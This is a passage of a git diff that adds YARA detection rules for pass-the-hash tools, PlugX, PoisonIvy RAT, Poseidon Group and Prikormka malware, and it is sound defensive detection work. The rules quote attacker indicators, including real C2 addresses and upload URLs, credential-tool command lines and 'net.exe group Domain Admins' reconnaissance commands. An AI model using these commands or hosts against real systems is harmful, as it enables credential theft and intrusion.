+		date = "2015-07-10"
+		score = 80
+		hash = "2ea662ef58142d9e340553ce50d95c1b7a405672acdfd476403a565bdd0cfb90"
+	strings:
+		$s0 = "<cmd>. Create a new logon session and run a command with the specified credentials (e.g.: -r cmd.exe)" fullword ascii /* PEStudio Blacklist: strings */ /* score: '59.00' */
+		$s1 = "IAM-ALT v1.1 - by Hernan Ochoa (hochoa@coresecurity.com, hernan@gmail.com) - (c) 2007-2008 Core Security Technologies" fullword ascii /* PEStudio Blacklist: strings */ /* score: '43.00' */
+		$s2 = "This tool allows you to change the NTLM credentials of the current logon session" fullword ascii /* PEStudio Blacklist: strings */ /* score: '31.00' */
+		$s3 = "username:domainname:lmhash:nthash" fullword ascii /* PEStudio Blacklist: strings */ /* score: '15.00' */
+		$s4 = "Error in cmdline!. Bye!." fullword ascii /* score: '12.00' */
+		$s5 = "Error: Cannot open LSASS.EXE!." fullword ascii /* score: '12.00' */
+		$s6 = "nthash is too long!." fullword ascii /* score: '8.00' */
+		$s7 = "LSASS HANDLE: %x" fullword ascii /* score: '5.00' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 240KB and 2 of them
+}
+
+rule genhash_genhash {
+	meta:
+		description = "Auto-generated rule - file genhash.exe"
+		author = "Florian Roth"
+		reference = "http://www.coresecurity.com/corelabs-research/open-source-tools/pass-hash-toolkit"
+		date = "2015-07-10"
+		score = 80
+		hash = "113df11063f8634f0d2a28e0b0e3c2b1f952ef95bad217fd46abff189be5373f"
+	strings:
+		$s1 = "genhash.exe <password>" fullword ascii /* PEStudio Blacklist: strings */ /* score: '30.00' */
+		$s3 = "Password: %s" fullword ascii /* PEStudio Blacklist: strings */ /* score: '17.00' */
+		$s4 = "%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X" fullword ascii /* score: '11.00' */
+		$s5 = "This tool generates LM and NT hashes." fullword ascii /* score: '10.00' */
+		$s6 = "(hashes format: LM Hash:NT hash)" fullword ascii /* score: '10.00' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and 2 of them
+}
+
+rule iam_iamdll {
+	meta:
+		description = "Auto-generated rule - file iamdll.dll"
+		author = "Florian Roth"
+		reference = "http://www.coresecurity.com/corelabs-research/open-source-tools/pass-hash-toolkit"
+		date = "2015-07-10"
+		score = 80
+		hash = "892de92f71941f7b9e550de00a57767beb7abe1171562e29428b84988cee6602"
+	strings:
+		$s0 = "LSASRV.DLL" fullword ascii /* score: '21.00' */
+		$s1 = "iamdll.dll" fullword ascii /* score: '21.00' */
+		$s2 = "ChangeCreds" fullword ascii /* score: '12.00' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 115KB and all of them
+}
+
+rule iam_iam {
+	meta:
+		description = "Auto-generated rule - file iam.exe"
+		author = "Florian Roth"
+		reference = "http://www.coresecurity.com/corelabs-research/open-source-tools/pass-hash-toolkit"
+		date = "2015-07-10"
+		score = 80
+		hash = "8a8fcce649259f1b670bb1d996f0d06f6649baa8eed60db79b2c16ad22d14231"
+	strings:
+		$s1 = "<cmd>. Create a new logon session and run a command with the specified credentials (e.g.: -r cmd.exe)" fullword ascii /* PEStudio Blacklist: strings */ /* score: '59.00' */
+		$s2 = "iam.exe -h administrator:mydomain:"  ascii /* PEStudio Blacklist: strings */ /* score: '40.00' */
+		$s3 = "An error was encountered when trying to change the current logon credentials!." fullword ascii /* PEStudio Blacklist: strings */ /* score: '33.00' */
+		$s4 = "optional parameter. If iam.exe crashes or doesn't work when run in your system, use this parameter." fullword ascii /* PEStudio Blacklist: strings */ /* score: '30.00' */
+		$s5 = "IAM.EXE will try to locate some memory locations instead of using hard-coded values." fullword ascii /* score: '26.00' */
+		$s6 = "Error in cmdline!. Bye!." fullword ascii /* score: '12.00' */
+		$s7 = "Checking LSASRV.DLL...." fullword ascii /* score: '12.00' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+rule whosthere_alt_pth {
+	meta:
+		description = "Auto-generated rule - file pth.dll"
+		author = "Florian Roth"
+		reference = "http://www.coresecurity.com/corelabs-research/open-source-tools/pass-hash-toolkit"
+		date = "2015-07-10"
+		score = 80
+		hash = "fbfc8e1bc69348721f06e96ff76ae92f3551f33ed3868808efdb670430ae8bd0"
+	strings:
+		$s0 = "c:\\debug.txt" fullword ascii /* PEStudio Blacklist: strings */ /* score: '23.00' */
+		$s1 = "pth.dll" fullword ascii /* score: '20.00' */
+		$s2 = "\"Primary\" string found at %.8Xh" fullword ascii /* score: '7.00' */
+		$s3 = "\"Primary\" string not found!" fullword ascii /* score: '6.00' */
+		$s4 = "segment 1 found at %.8Xh" fullword ascii /* score: '6.00' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 240KB and 4 of them
+}
+
+rule whosthere {
+	meta:
+		description = "Auto-generated rule - file whosthere.exe"
+		author = "Florian Roth"
+		reference = "http://www.coresecurity.com/corelabs-research/open-source-tools/pass-hash-toolkit"
+		date = "2015-07-10"
+		score = 80
+		hash = "d7a82204d3e511cf5af58eabdd6e9757c5dd243f9aca3999dc0e5d1603b1fa37"
+	strings:
+		$s1 = "by Hernan Ochoa (hochoa@coresecurity.com, hernan@gmail.com) - (c) 2007-2008 Core Security Technologies" fullword ascii /* PEStudio Blacklist: strings */ /* score: '48.00' */
+		$s2 = "whosthere enters an infinite loop and searches for new logon sessions every 2 seconds. Only new sessions are shown if found." fullword ascii /* PEStudio Blacklist: strings */ /* score: '36.00' */
+		$s3 = "specify addresses to use. Format: ADDCREDENTIAL_ADDR:ENCRYPTMEMORY_ADDR:FEEDBACK_ADDR:DESKEY_ADDR:LOGONSESSIONLIST_ADDR:LOGONSES" ascii /* PEStudio Blacklist: strings */ /* score: '28.00' */
+		$s4 = "Could not enable debug privileges. You must run this tool with an account with administrator privileges." fullword ascii /* PEStudio Blacklist: strings */ /* score: '27.00' */
+		$s5 = "-B is now used by default. Trying to find correct addresses.." fullword ascii /* PEStudio Blacklist: strings */ /* score: '15.00' */
+		$s6 = "Cannot get LSASS.EXE PID!" fullword ascii /* score: '14.00' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 320KB and 2 of them
+}
+
diff --git a/yara-mikesxrs/Florian Roth/apt_plugx.yar b/yara-mikesxrs/Florian Roth/apt_plugx.yar
new file mode 100644
index 0000000..c8b41e5
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_plugx.yar	
@@ -0,0 +1,35 @@
+
+rule APTGroupX_PlugXTrojanLoader_StringDecode {
+   meta:
+      author = "Jay DiMartino"
+   	description = "Rule to detect PlugX Malware"
+		score = 80
+   	reference = "https://t.co/4xQ8G2mNap"
+      hash1 = "0535e8c300204e257f0fa57630f386e9fcc8e779"
+      hash2 = "088ebf9ccde958f32d11f4e7eb14f5332332f97d"
+      hash3 = "0c999d0bffa007e9e6b6fe593933b52f40c75b3d"
+      hash4 = "2f644e7131ec0a4f12ce04ba1e54d23856dbbfbf"
+      hash5 = "3be9148ad132ca342d5fbabea1119a175ef1df7c"
+      hash6 = "4c1ee94ec0e15491fc4f6b4095f67eee6309e62a"
+      hash7 = "587af7ce05e61d4c312d6bae12ea380116b08d7e"
+      hash8 = "5990efd83b5646a7ba419541d3a2c19260224ca3"
+      hash9 = "67970367c250c44a5feb263843cf45fd91336df5"
+      hash10 = "68f53f7188910a4cf67843aedd38c1523f1f2e7c"
+      hash11 = "962dc7e0ad37286df012f623423ac4182fe791ca"
+      hash12 = "aa0976906807af2e1b127608040aa3ef6e118a13"
+      hash13 = "b170d015e32b39fa4ac15f94d58e45e65cd16d6c"
+      hash14 = "c9b3d2cef3b34c7ee18fc2f60ff022965959613d"
+      hash15 = "cd425ce7f3e4a823d9027780e1b439759c4dc665"
+      hash16 = "d5e82513c6472d3826a22d9a15c05af8c0d33b58"
+      hash17 = "d9b32084f27ef13001060e1dcee8a1a9e95d89a6"
+      hash18 = "daa2d1cb9148b7ba5a86fa9ab593678e77c92672"
+      hash19 = "e2c098a95d1c1f0e29f207af9c5ffc5bd69a92ee"
+      hash20 = "ef8cf68dc3c80e9cb5a3fa0f92b544eab583812e"
+      hash21 = "f0fc0a4e4e0748464caa6a202d0083cd33458677"
+      hash22 = "fe1abe55529c1d6aa6b2a2f02d7e41ea58040feb"
+   strings:
+      $byte1 = { 8A [2-4] 8A [2-4] FF 05 00 30 00 10 [0-5] 2A [1-6] 80 [2-7] 02 [1-6] 88 0? }
+      $byte2 = { 8B [2-4] 8A [2-4] FF 05 00 30 00 10 [0-5] 2A [1-6] 80 [2-7] 02 [1-6] 88 0? }
+   condition:
+      any of them
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_poisonivy.yar b/yara-mikesxrs/Florian Roth/apt_poisonivy.yar
new file mode 100644
index 0000000..9ddab9f
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_poisonivy.yar	
@@ -0,0 +1,215 @@
+
+rule PoisonIvy_Sample_APT {
+	meta:
+		description = "Detects a PoisonIvy APT malware group"
+		author = "Florian Roth"
+		score = 70
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		hash = "b874b76ff7b281c8baa80e4a71fc9be514093c70"
+	strings:
+		$s0 = "pidll.dll" fullword ascii /* score: '11.02' */
+		$s1 = "sens32.dll" fullword wide /* score: '11.015' */
+		$s3 = "FileDescription" fullword wide /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 19311 times */
+		$s4 = "OriginalFilename" fullword wide /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 19040 times */
+		$s5 = "ZwSetInformationProcess" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 31 times */
+		$s9 = "Microsoft Media Device Service Provider" fullword wide /* score: '-3' */ /* Goodware String - occured 8 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 47KB and all of them
+}
+
+
+rule PoisonIvy_Sample_APT_2 {
+	meta:
+		description = "Detects a PoisonIvy Malware"
+		author = "Florian Roth"
+		score = 70
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		hash = "333f956bf3d5fc9b32183e8939d135bc0fcc5770"
+	strings:
+		$s0 = "pidll.dll" fullword ascii /* score: '11.02' */
+		$s1 = "sens32.dll" fullword wide /* score: '11.015' */
+		$s2 = "9.0.1.56" fullword wide /* score: '9.5' */
+		$s3 = "FileDescription" fullword wide /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 19311 times */
+		$s4 = "OriginalFilename" fullword wide /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 19040 times */
+		$s5 = "ZwSetInformationProcess" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 31 times */
+		$s6 = "\"%=%14=" fullword ascii /* score: '4.5' */
+		$s7 = "091A1G1R1_1g1u1z1" fullword ascii /* score: '4' */ /* Goodware String - occured 1 times */
+		$s8 = "gHsMZz" fullword ascii /* score: '3.005' */
+		$s9 = "Microsoft Media Device Service Provider" fullword wide /* score: '-3' */ /* Goodware String - occured 8 times */
+		$s10 = "Copyright (C) Microsoft Corp." fullword wide /* score: '-7' */ /* Goodware String - occured 12 times */
+		$s11 = "MFC42.DLL" fullword ascii /* score: '-31' */ /* Goodware String - occured 36 times */
+		$s12 = "MSVCRT.dll" fullword ascii /* score: '-235' */ /* Goodware String - occured 240 times */
+		$s13 = "SpecialBuild" fullword wide /* score: '-1561' */ /* Goodware String - occured 1566 times */
+		$s14 = "PrivateBuild" fullword wide /* score: '-1585' */ /* Goodware String - occured 1590 times */
+		$s15 = "Comments" fullword wide /* score: '-2149' */ /* Goodware String - occured 2154 times */
+		$s16 = "040904b0" fullword wide /* score: '-2365' */ /* Goodware String - occured 2370 times */
+		$s17 = "LegalTrademarks" fullword wide /* score: '-3518' */ /* Goodware String - occured 3523 times */
+		$s18 = "CreateThread" fullword ascii /* score: '-3909' */ /* Goodware String - occured 3914 times */
+		$s19 = "ntdll.dll" fullword ascii /* score: '-4675' */ /* Goodware String - occured 4680 times */
+		$s20 = "_adjust_fdiv" fullword ascii /* score: '-5450' */ /* Goodware String - occured 5455 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 47KB and all of them
+}
+
+rule PoisonIvy_Sample_APT_3 {
+	meta:
+		description = "Detects a PoisonIvy Malware"
+		author = "Florian Roth"
+		score = 70
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		hash = "df3e1668ac20edecc12f2c1a873667ea1a6c3d6a"
+	strings:
+		$s0 = "\\notepad.exe" fullword ascii /* score: '11.025' */
+		$s1 = "\\RasAuto.dll" fullword ascii /* score: '11.025' */
+		$s3 = "winlogon.exe" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 13 times */
+	condition:
+		uint16(0) == 0x5a4d and all of them
+}
+
+
+rule PoisonIvy_Sample_APT_4 {
+	meta:
+		description = "Detects a PoisonIvy Sample APT"
+		author = "Florian Roth"
+		score = 70
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		hash = "558f0f0b728b6da537e2666fbf32f3c9c7bd4c0c"
+	strings:
+		$s0 = "Microsoft Software installation Service" fullword wide /* PEStudio Blacklist: strings */ /* score: '15.04' */
+		$s1 = "idll.dll" fullword ascii /* score: '11.02' */
+		$s2 = "mgmts.dll" fullword wide /* score: '11.0' */
+		$s3 = "Microsoft(R) Windows(R)" fullword wide /* score: '6.025' */
+		$s4 = "ServiceMain" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 322 times */
+		$s5 = "Software installation Service" fullword wide /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 3 times */
+		$s6 = "SetServiceStatus" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 741 times */
+		$s7 = "OriginalFilename" fullword wide /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 19040 times */
+		$s8 = "ZwSetInformationProcess" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 31 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and 7 of them
+}
+
+rule PoisonIvy_Sample_5 {
+	meta:
+		description = "Detects PoisonIvy RAT sample set"
+		author = "Florian Roth"
+		score = 70
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		hash = "545e261b3b00d116a1d69201ece8ca78d9704eb2"
+	strings:
+		$s0 = "Microsoft Software installation Service" fullword wide /* PEStudio Blacklist: strings */ /* score: '15.04' */
+		$s2 = "pidll.dll" fullword ascii /* score: '11.02' */
+		$s3 = "\\mspmsnsv.dll" fullword ascii /* score: '11.005' */
+		$s4 = "\\sfc.exe" fullword ascii /* score: '11.005' */
+		$s13 = "ServiceMain" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 322 times */
+		$s15 = "ZwSetInformationProcess" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 31 times */
+		$s17 = "LookupPrivilegeValueA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 336 times */
+condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+
+rule PoisonIvy_Sample_6 {
+	meta:
+		description = "Detects PoisonIvy RAT sample set"
+		author = "Florian Roth"
+		score = 70
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		hash1 = "8c2630ab9b56c00fd748a631098fa4339f46d42b"
+		hash2 = "36b4cbc834b2f93a8856ff0e03b7a6897fb59bd3"
+	strings:
+		$x1 = "124.133.252.150" fullword ascii /* score: '9.5' */
+		$x3 = "http://124.133.254.171/up/up.asp?id=%08x&pcname=%s" fullword ascii /* score: '24.01' */
+
+		$z1 = "\\temp\\si.txt" fullword ascii /* PEStudio Blacklist: strings */ /* score: '27.01' */
+		$z2 = "Daemon Dynamic Link Library" fullword wide /* PEStudio Blacklist: strings */ /* score: '11.02' */
+		$z3 = "Microsoft Windows CTF Loader" fullword wide /* PEStudio Blacklist: strings */ /* score: '11.03' */
+		$z4 = "\\tappmgmts.dll" fullword ascii /* score: '11.005' */
+		$z5 = "\\appmgmts.dll" fullword ascii /* score: '11.0' */
+
+		$s0 = "%USERPROFILE%\\AppData\\Local\\Temp\\Low\\ctfmon.log" fullword ascii /* PEStudio Blacklist: strings */ /* score: '43.015' */
+		$s1 = "%USERPROFILE%\\AppData\\Local\\Temp\\ctfmon.tmp" fullword ascii /* PEStudio Blacklist: strings */ /* score: '37.015' */
+		$s2 = "\\temp\\ctfmon.tmp" fullword ascii /* PEStudio Blacklist: strings */ /* score: '28.01' */
+		$s3 = "SOFTWARE\\Classes\\http\\shell\\open\\commandV" fullword ascii /* PEStudio Blacklist: strings */ /* score: '27.025' */
+		$s4 = "CONNECT %s:%i HTTP/1.0" fullword ascii /* PEStudio Blacklist: strings */ /* score: '19.02' */
+		$s5 = "start read histry key" fullword ascii /* PEStudio Blacklist: strings */ /* score: '18.04' */
+		$s6 = "Content-Disposition: form-data; name=\"%s\"; filename=\"%s\"" fullword ascii /* score: '18.03' */
+		$s7 = "[password]%s" fullword ascii /* PEStudio Blacklist: strings */ /* score: '17.025' */
+		$s8 = "Daemon.dll" fullword ascii /* PEStudio Blacklist: strings */ /* score: '16.02' */
+		$s9 = "[username]%s" fullword ascii /* PEStudio Blacklist: strings */ /* score: '12.035' */
+		$s10 = "advpack" fullword ascii /* score: '7.005' */
+		$s11 = "%s%2.2X" fullword ascii /* score: '7.0' */
+		$s12 = "advAPI32" fullword ascii /* score: '6.015' */
+	condition:
+		( uint16(0) == 0x5a4d and 1 of ($x*) ) or
+		( 8 of ($s*) ) or
+		( 1 of ($z*) and 3 of ($s*) )
+}
+
+rule PoisonIvy_Sample_7 {
+	meta:
+		description = "Detects PoisonIvy RAT sample set"
+		author = "Florian Roth"
+		score = 70
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		hash = "9480cf544beeeb63ffd07442233eb5c5f0cf03b3"
+	strings:
+		$s0 = "Microsoft Software installation Service" fullword wide /* PEStudio Blacklist: strings */ /* score: '15.04' */
+		$s2 = "pidll.dll" fullword ascii /* score: '11.02' */
+		$s10 = "ServiceMain" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 322 times */
+		$s11 = "ZwSetInformationProcess" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 31 times */
+		$s12 = "Software installation Service" fullword wide /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 3 times */
+		$s13 = "Microsoft(R) Windows(R) Operating System" fullword wide /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 128 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-04-22
+	Identifier:
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule PoisonIvy_RAT_ssMUIDLL {
+	meta:
+		description = "Detects PoisonIvy RAT DLL mentioned in Palo Alto Blog in April 2016"
+		author = "Florian Roth (with the help of yarGen and Binarly)"
+		reference = "http://goo.gl/WiwtYT"
+		date = "2016-04-22"
+		hash1 = "7a424ad3f3106b87e8e82c7125834d7d8af8730a2a97485a639928f66d5f6bf4"
+		hash2 = "6eb7657603edb2b75ed01c004d88087abe24df9527b272605b8517a423557fe6"
+		hash3 = "2a6ef9dde178c4afe32fe676ff864162f104d85fac2439986de32366625dc083"
+		hash4 = "8b805f508879ecdc9bba711cfbdd570740c4825b969c1b4db980c134ac8fef1c"
+		hash5 = "ac99d4197e41802ff9f8852577955950332947534d8e2a0e3b6c1dd1715490d4"
+	strings:
+		$s1 = "ssMUIDLL.dll" fullword ascii
+
+		 // 0x10001f81 6a 00	push	0
+		 // 0x10001f83 c6 07 e9	mov	byte ptr [edi], 0xe9
+		 // 0x10001f86 ff d6	call	esi
+		 $op1 = { 6a 00 c6 07 e9 ff d6 } // sample=e9ccf4e139bbbd114b67cc3cee260d1cb638c9d0 address=0x10001f81
+		 // 0x100012a9 02 cb	add	cl, bl
+		 // 0x100012ab 6a 00	push	0
+		 // 0x100012ad 88 0f	mov	byte ptr [edi], cl
+		 // 0x100012af ff d6	call	esi
+		 // 0x100012b1 47	inc	edi
+		 // 0x100012b2 ff 4d fc	dec	dword ptr [ebp - 4]
+		 // 0x100012b5 75 ??	jne	0x10001290
+		 $op2 = { 02 cb 6a 00 88 0f ff d6 47 ff 4d fc 75 } // sample=e9ccf4e139bbbd114b67cc3cee260d1cb638c9d0 address=0x100012a9
+		 // 0x10001f93 6a 00	push	0
+		 // 0x10001f95 88 7f 02	mov	byte ptr [edi + 2], bh
+		 // 0x10001f98 ff d6	call	esi
+		 $op3 = { 6a 00 88 7f 02 ff d6 } // sample=e9ccf4e139bbbd114b67cc3cee260d1cb638c9d0 address=0x10001f93
+
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 20KB and ( all of ($op*) ) ) or ( all of them )
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_poisonivy_gen3.yar b/yara-mikesxrs/Florian Roth/apt_poisonivy_gen3.yar
new file mode 100644
index 0000000..0c91e9f
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_poisonivy_gen3.yar	
@@ -0,0 +1,30 @@
+
+rule PoisonIvy_Generic_3 {
+	meta:
+		description = "PoisonIvy RAT Generic Rule"
+		author = "Florian Roth"
+		date = "2015-05-14"
+		hash = "e1cbdf740785f97c93a0a7a01ef2614be792afcd"
+	strings:
+		$k1 = "Tiger324{" fullword ascii
+		
+		$s2 = "WININET.dll" fullword ascii
+		$s3 = "mscoree.dll" fullword wide
+		$s4 = "WS2_32.dll" fullword
+		$s5 = "Explorer.exe" fullword wide
+		$s6 = "USER32.DLL"
+		$s7 = "CONOUT$"
+		$s8 = "login.asp"
+		
+		$h1 = "HTTP/1.0"
+		$h2 = "POST"
+		$h3 = "login.asp"
+		$h4 = "check.asp"
+		$h5 = "result.asp"
+		$h6 = "upload.asp"
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and
+			( 
+				$k1 or all of ($s*) or all of ($h*)
+			)
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_poseidon_group.yar b/yara-mikesxrs/Florian Roth/apt_poseidon_group.yar
new file mode 100644
index 0000000..8d83232
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_poseidon_group.yar	
@@ -0,0 +1,82 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-02-09
+	Identifier: Poseidon Group APT
+*/
+
+rule PoseidonGroup_Malware {
+	meta:
+		description = "Detects Poseidon Group Malware"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/research/73673/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/"
+		date = "2016-02-09"
+		score = 85
+		hash1 = "337e94119cfad0b3144af81b72ac3b2688a219ffa0bdf23ca56c7a68fbe0aea4"
+		hash2 = "344034c0bf9fcd52883dbc158abf6db687150d40a118d9cd6ebd843e186128d3"
+		hash3 = "432b7f7f7bf94260a58ad720f61d91ba3289bf0a9789fc0c2b7ca900788dae61"
+		hash4 = "8955df76182005a69f19f5421c355f1868efe65d6b9e0145625dceda94b84a47"
+		hash5 = "d090b1d77e91848b1e2f5690b54360bbbd7ef808d017304389b90a0f8423367f"
+		hash6 = "d7c8b47a0d0a9181fb993f17e165d75a6be8cf11812d3baf7cf11d085e21d4fb"
+		hash7 = "ded0ee29af97496f27d810f6c16d78a3031d8c2193d5d2a87355f3e3ca58f9b3"
+	strings:
+		$s1 = "c:\\winnt\\system32\\cmd.exe" fullword ascii
+		$s2 = "c:\\windows\\system32\\cmd.exe" fullword ascii
+		$s3 = "c:\\windows\\command.com" fullword ascii
+		$s4 = "copy \"%s\" \"%s\" /Y" fullword ascii
+		$s5 = "http://%s/files/" fullword ascii
+		$s6 = "\"%s\". %s: \"%s\"." fullword ascii
+		$s7 = "0x0666" fullword ascii
+		$s8 = "----------------This_is_a_boundary$" fullword ascii
+		$s9 = "Server 2012" fullword ascii /* Goodware String - occured 1 times */
+		$s10 = "Server 2008" fullword ascii /* Goodware String - occured 1 times */
+		$s11 = "Server 2003" fullword ascii /* Goodware String - occured 1 times */
+
+		$a1 = "net.exe group \"Domain Admins\" /domain" fullword ascii
+		$a2 = "net.exe group \"Admins. do Dom" fullword ascii
+		$a3 = "(SVRID=%d)" fullword ascii
+		$a4 = "(TG=%d)" fullword ascii
+		$a5 = "(SVR=%s)" fullword ascii
+		$a6 = "Set-Cookie:\\b*{.+?}\\n" fullword wide
+		$a7 = "net.exe localgroup Administradores" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 650KB and 6 of ($s*) ) or
+		( 4 of ($s*) and 1 of ($a*) )
+}
+
+rule PoseidonGroup_MalDoc_1 {
+	meta:
+		description = "Detects Poseidon Group - Malicious Word Document"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/research/73673/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/"
+		date = "2016-02-09"
+		score = 80
+		hash = "0983526d7f0640e5765ded6be6c9e64869172a02c20023f8a006396ff358999b"
+	strings:
+		$s1 = "c:\\cmd32dll.exe" fullword ascii
+	condition:
+		uint16(0) == 0xcfd0 and filesize < 500KB and all of them
+}
+
+rule PoseidonGroup_MalDoc_2 {
+	meta:
+		description = "Detects Poseidon Group - Malicious Word Document"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/research/73673/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/"
+		date = "2016-02-09"
+		score = 70
+		hash1 = "3e4cacab0ff950da1c6a1c640fe6cf5555b99e36d4e1cf5c45f04a2048f7620c"
+		hash2 = "1f77475d7740eb0c5802746d63e93218f16a7a19f616e8fddcbff07983b851af"
+		hash3 = "f028ee20363d3a17d30175508bbc4738dd8e245a94bfb200219a40464dd09b3a"
+		hash4 = "ec309300c950936a1b9f900aa30630b33723c42240ca4db978f2ca5e0f97afed"
+		hash5 = "27449198542fed64c23f583617908c8648fa4b4633bacd224f97e7f5d8b18778"
+		hash6 = "1e62629dae05bf7ee3fe1346faa60e6791c61f92dd921daa5ce2bdce2e9d4216"
+	strings:
+		$s0 = "{\\*\\generator Msftedit 5.41." ascii
+		$s1 = "Attachment 1: Complete Professional Background" ascii
+		$s2 = "E-mail:  \\cf1\\ul\\f1"
+		$s3 = "Education:\\par" ascii
+		$s5 = "@gmail.com" ascii
+	condition:
+		uint32(0) == 0x74725c7b and filesize < 500KB and 3 of them
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_prikormka.yar b/yara-mikesxrs/Florian Roth/apt_prikormka.yar
new file mode 100644
index 0000000..4f60856
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_prikormka.yar	
@@ -0,0 +1,141 @@
+// Operation Groundbait yara rules
+// For feedback or questions contact us at: github@eset.com
+// https://github.com/eset/malware-ioc/
+//
+// These yara rules are provided to the community under the two-clause BSD
+// license as follows:
+//
+// Copyright (c) 2016, ESET
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are met:
+//
+// 1. Redistributions of source code must retain the above copyright notice, this
+// list of conditions and the following disclaimer.
+//
+// 2. Redistributions in binary form must reproduce the above copyright notice,
+// this list of conditions and the following disclaimer in the documentation
+// and/or other materials provided with the distribution.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+//
+
+private rule PrikormkaDropper
+{
+    strings:
+        $mz = { 4D 5A }
+
+        $kd1 = "KDSTORAGE" wide
+        $kd2 = "KDSTORAGE_64" wide
+        $kd3 = "KDRUNDRV32" wide
+        $kd4 = "KDRAR" wide
+
+        $bin1 = {69 65 04 15 00 14 1E 4A 16 42 08 6C 21 61 24 0F}
+        $bin2 = {76 6F 05 04 16 1B 0D 5E 0D 42 08 6C 20 45 18 16}
+        $bin3 = {4D 00 4D 00 43 00 00 00 67 00 75 00 69 00 64 00 56 00 47 00 41 00 00 00 5F 00 73 00 76 00 67 00}
+
+        $inj1 = "?AVCinj2008Dlg@@" ascii
+        $inj2 = "?AVCinj2008App@@" ascii
+    condition:
+        ($mz at 0) and ((any of ($bin*)) or (3 of ($kd*)) or (all of ($inj*)))
+}
+
+private rule PrikormkaModule
+{
+    strings:
+        $mz = { 4D 5A }
+
+        // binary
+        $str1 = {6D 70 2E 64 6C 6C 00 53 74 61 72 74 69 6E 67 00}
+        $str2 = {68 6C 70 75 63 74 66 2E 64 6C 6C 00 43 79 63 6C 65}
